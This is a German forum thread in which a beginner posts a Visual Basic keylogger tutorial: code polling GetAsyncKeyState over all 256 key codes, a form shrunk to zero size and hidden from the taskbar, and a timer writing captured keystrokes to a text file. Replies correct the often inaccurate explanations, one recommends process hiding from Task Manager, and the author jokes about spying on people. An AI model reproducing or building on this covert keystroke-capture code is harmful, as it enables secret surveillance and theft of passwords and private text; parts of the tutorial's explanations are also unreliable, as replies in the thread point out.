[VB 08] Keylogging Tutorial

  • Für diese Methode muss man einen Befehl gebrauchen, um ersteinmal die Bezeichnung der Tasten abzurufen.


    GetAsyncKeyState(i)


    Natürlich muss man diese Bezeichnungen auch in einer Variable speichern.
    Zuerst jedoch sollte man eine Visual Basic - Form erstellen.
    Diese sollte mit zwei Timern ausgestattet sein.
    Die Zeit (also den Intervall) des ersten sollte man auf "5" stellen.
    Beim zweiten sollte die Zeit auf "5000" stehen.
    Die Form an sich sollte ganz klein gestellt werden.
    Dies kann man machen, indem man ersteinmal "FormBorderStyle" auf "None" stellt.
    Danach kann man die Size (jaja - die Größe) ganz einfach auf 0;0 stellen.
    Das stellt sicher, dass das Programm nicht sichtbar ist während es aktiv ist.
    Wenn man es ein wenig mehr unsichtbar machen will, kann man auch noch "ShowIcon" und "ShowInTaskbar" auf False stellen.


    Jetzt zum Code.
    Ich stell ihn mal so als ganzes rein, und erkläre dann die einzelnen Teile davon.



    Und hier das, was mit Timer 2 gemacht wird:



    Code
    1. Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
    2. My.Computer.FileSystem.WriteAllText("C:\Keylogger.txt", Chr(13) + Chr(13) + Keylogger, True)
    3. Keylogger = ""
    4. End Sub


    Und hier die Erklärungen:


    Code
    1. Dim Keylogger As String
    2. Dim Tasten As Integer


    Das sind die beiden Variablen
    Die erste ist der Text, welcher später in die Textdatei gespeichert wird.
    Die Variable "Tasten" ist die Zahl, die angibt, ob überhaupt eine Taste gedrückt wurde, oder nicht.


    Code
    1. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer


    Hiermit ruft VB die Tastenbezeichnungen ab.
    Kommen wir jetzt zu dem Timer1 Script


    Code
    1. For i = 0 To 255
    2. Tasten = 0
    3. Tasten = GetAsyncKeyState(i)
    4. If Tasten = -32767 Then
    5. Keylogger = Keylogger + Chr(i)


    1. (for i) Eine Schleife durchläuft alle Tastenbezeichnungen, bis die richtige gefunden wurde, die gedrückt wurde.
    2. (Tasten = 0) Das setzt den Wert der gedrückten Tasten auf Null. (Scheint allerdings nicht nötig zu sein)
    3. (Tasten = Get...blablabla) Das hab ich ja schon ganz am Anfang geschrieben: das hier ruft die Bezeichnung der Tasten ab.
    4. (If Tasten) Erkennt, ob der Tastendrückimpuls (was für ein schönes Wort ^.^) erfolgreich abgefangen wurde.
    3. (Keylogger) Dem Keylogger-String wird die Tastenbezeichnung hinzugefügt.



    Jetzt zu dem Timer 2 Script
    (ist ja nicht so viel ^^)


    Code
    1. My.Computer.FileSystem.WriteAllText("C:\Keylogger.txt", Chr(13) + Chr(13) + Keylogger, True)
    2. Keylogger = ""


    Wenn die Zeit vom Timer 2 vorbei ist, schreibt der Script den Inhalt des Strings (also die gedrückten Tasten) in eine Textdatei, die extra dafür neu erstellt wird.
    (Wenn man einen richtigen Keylogger machen möchte - was allerdings niemand mit diesem Script versuchen sollte - sollte man noch einige andere Sachen bedenken. Das hier ist jetzt quasi nur für "den Eigenbedarf" ;) )
    Der letzte Befehl löscht den Wert, den die Keylogger-Variable hat.
    Sonst wird immer wieder das selbe in die Textdatei geschrieben. Das wollen wir ja nicht.



    Ich glaube, das wars erstmal soweit mit dem Keyloggerscript.
    Würde mich auf Feedback und Fragen - und alles andere auch - freuen.


    MfG
    ShayminX


    PS: Falls jemand von euch dieses Tutorial mal benutzen oder kopieren, dann wäre ne Verlinkung ganz schön.
    Oder Credits
    Oder einfach irgendwas, was zeigt, dass ich das hier mal geschrieben habe.
    Danke ;D

    Dieser Beitrag wurde bereits 11 mal editiert, zuletzt von »ShayminX« (Gestern, 13:37)
    Dieser Beitrag wurde bereits 6 mal verfilmt, zuletzt von »Alfred Hitchcock« (1. Januar 2012, 00:01)
    Dieser Beitrag wurde bereits 7 Mal als Musical gezeigt, zuletzt mit »Liza Minelli« (17. Oktober 2011, 12:47)

    3 Mal editiert, zuletzt von ShayminX ()

  • Es herrscht einiger Verbesserungsbedarf, vorallem bei den Erklärungen, die nicht immer so stimmen, bzw. ungenau formuliert sind.


    zB:

    Zitat


    Imports System.IO




    Das "lädt" das System, welches für den Keylogger benötigt wird.


    xd
    Genaugenommen verkürzt man nur den Namespace System.IO.
    Da du diesen aber nicht benutzt, kannst du ihn in diesem Code weglassen.



    Zitat

    1. (for i) Ist dafür da um die "Anzahl der Zeichen" zu erkennen.
    2. (Tasten = 0)Das setzt den Wert der gedrückten Tasten auf Null.
    3. (Tasten = Get...blablabla) Das hab ich ja schon ganz am Anfang geschrieben: das hier ruft die Bezeichnung der Tasten ab.
    4. (If Tasten)Erkennt, wenn eine Taste, oder mehrere, gedrückt wurden.
    3. (Keylogger)Dem Keylogger-String wird die Tastenbezeichnung hinzugefügt.

    1. Genau genommen meinst du ja die for-Schleife, das i gehört nicht direkt dazu. Die Erklärung passt auch nicht. Du solltest schreiben, dass diese Schleife 256 mal durchlaufen wird, damit man für alle 256 Zeichen überprüfen kann, ob sie gedrückt wurden.
    2. Kannst du weglassen, da die Variable danach eh einen Wert erhält. Viel mehr direkt im globalen Bereich initialisieren.
    3. Völlig falsch. Der Rückgabewert wird in der Variablen gespeichert. An diesem kann man überprüfen, ob erfolgreich eine Taste abgefangen wurde.
    4. Ist der Rückgabewert -32767, so wurde ein Tastendruck gefunden.



    Für einen richtigen Keylogger müsstest du noch Prozessschutz einrichten, damit der auch im Taskmanager unsichtbar wird.

  • Vielen Dank für die Rückmeldungen :)


    Counterbug
    Ich hoffe doch, das war alles, was ich so falsch gemacht habe.
    Habs jetzt - meines Erachtens - so gut es geht verbessert.
    Wenn noch etwas falsch ist, dann würde ich mich freuen das zu hören.
    (Ich bin halt noch ein ziemlicher Anfänger)
    Und: Es soll ja kein rchtiger Keylogger werden womit man Leute ausspionieren kann.


    Obwohl... mhhh... ;D


    @Krissel
    Ach - immer diese Formalitäten ^^
    Ja, ich habs im Titel verbessert.
    Danke für de Hinweis.


    MfG
    ShayminX

    Dieser Beitrag wurde bereits 11 mal editiert, zuletzt von »ShayminX« (Gestern, 13:37)
    Dieser Beitrag wurde bereits 6 mal verfilmt, zuletzt von »Alfred Hitchcock« (1. Januar 2012, 00:01)
    Dieser Beitrag wurde bereits 7 Mal als Musical gezeigt, zuletzt mit »Liza Minelli« (17. Oktober 2011, 12:47)

  • Ich weiß ja nicht, wenn schon ein Tutorial dann doch richtig? Allein die Tatsache, dass Namespaces importiert sind die nicht verwendet werden zeigt, dass du eigentlich keine Ahnung hast wovon du redest, ohne jetzt beleidigend zu werden...
    Auch ist es nicht ratsam Anleitungen für Keylogger zu erstellen, auch wenn es schon Haufenweiße davon gibt.
    Stiltechnische Fehler gibt es natürlich auch nocht, allein Deutsche Variablen sind für einen geübten Programmierer der Horror(Zumindest geht es mir so), auch frage ich mich, wieso du einen zweiten Timer für das speichern hernimmst und vorallem wieso du nicht den dafür extra importierten IO Namespace verwendest(Streamwriter und so, zwar auch nicht die beste Klasse, aber immerhin nicht im My Namespace, den ich generell verabscheue). Du könntest einfach über eine Externe Speicherfunktion(schließen des Programmes, etc.) das ganze erledigen. Ansonsten hast du alle 5 Sekunden Schreibzugriff, was ja auch nicht optimal ist.


    ~Sturmvogel


    Let the old ways live and prosper in the hearts of our young


  • Wie wäre es damit, dass du in erster Linie erstmals erklärst,
    was Keylogger genau sind und welche Arten es von Keylogger so denn gibt?


    Keylogger = Tastaturrekorder.


    Und
    Keylogger existieren als Hard und als Software Ausführung...


    Sinn/Zweck:
    Aufzeichnen, was der Benutzer auf seiner Tastatur so eingibt.





    Demnach könntest auch noch erklären, was genau Integer ist.
    Dateityp Integer =
    ganze Zahlen von -2.147.43.648 bis
    -2.147.43.648
    ...

  • Entschuldigt mich, wenn ich voreilig gehandelt habe (was ja nun offensichtlich der Fall war).
    Ich besitze nur ein wenig Grundwissen, sowie einige Sachen, die ich mir durch Tutorials einigermaßen angelernt habe.
    Es war wohl nicht die super Idee, sofort ein Tutorial zu machen.

    Dieser Beitrag wurde bereits 11 mal editiert, zuletzt von »ShayminX« (Gestern, 13:37)
    Dieser Beitrag wurde bereits 6 mal verfilmt, zuletzt von »Alfred Hitchcock« (1. Januar 2012, 00:01)
    Dieser Beitrag wurde bereits 7 Mal als Musical gezeigt, zuletzt mit »Liza Minelli« (17. Oktober 2011, 12:47)